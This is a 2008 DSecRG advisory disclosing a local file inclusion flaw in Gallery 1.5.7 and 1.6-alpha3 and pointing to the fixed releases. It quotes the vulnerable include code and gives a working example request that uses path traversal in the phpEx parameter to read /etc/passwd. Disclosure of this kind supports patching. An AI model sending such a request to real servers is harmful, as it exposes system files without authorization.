Gallery 1.5.7, 1.6-alpha3 (phpEx) Local File Inclusion Vulnerability

                                                Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-035


Application:                    Gallery 
Versions Affected:              1.5.7, 1.6-alpha3
Vendor URL:                     http://gallery.menalto.com/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       14.07.2008
Vendor response:                15.07.2008
Solution:                       YES
Date of Public Advisory:        08.08.2008
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Gallery system has local file include vulnerability in script contrib/phpBB2/modules.php

Successful exploitation requires that "register_globals" is enabled.

Code
****
#################################################

switch ($_REQUEST['op']) {
    case 'modload':
        // Added with changes in Security for PhpBB2.
        define('IN_PHPBB', true);

        define ("LOADED_AS_MODULE","1");
        $phpbb_root_path = "./";
        // connect to phpbb
        include_once($phpbb_root_path . 'extension.inc');
        include_once($phpbb_root_path . 'common.'.$phpEx);
        include_once($phpbb_root_path . 'includes/functions.'.$phpEx);

#################################################

Example:

http://[server]/[installdir]/contrib/phpBB2/modules.php?op=modload&phpEx=../../../../../../../../../../../../../etc/passwd


Solution
********

Vendor fix this flaw on 05.08.2008. Download Gallery 1.5.8 and 1.6-RC1 from download page on SourceForge:

http://sourceforge.net/project/showfiles.php?group_id=7130&package_id=7239&abmode=1

More information about release: http://gallery.menalto.com/gallery_1.5.8_released



About
*****

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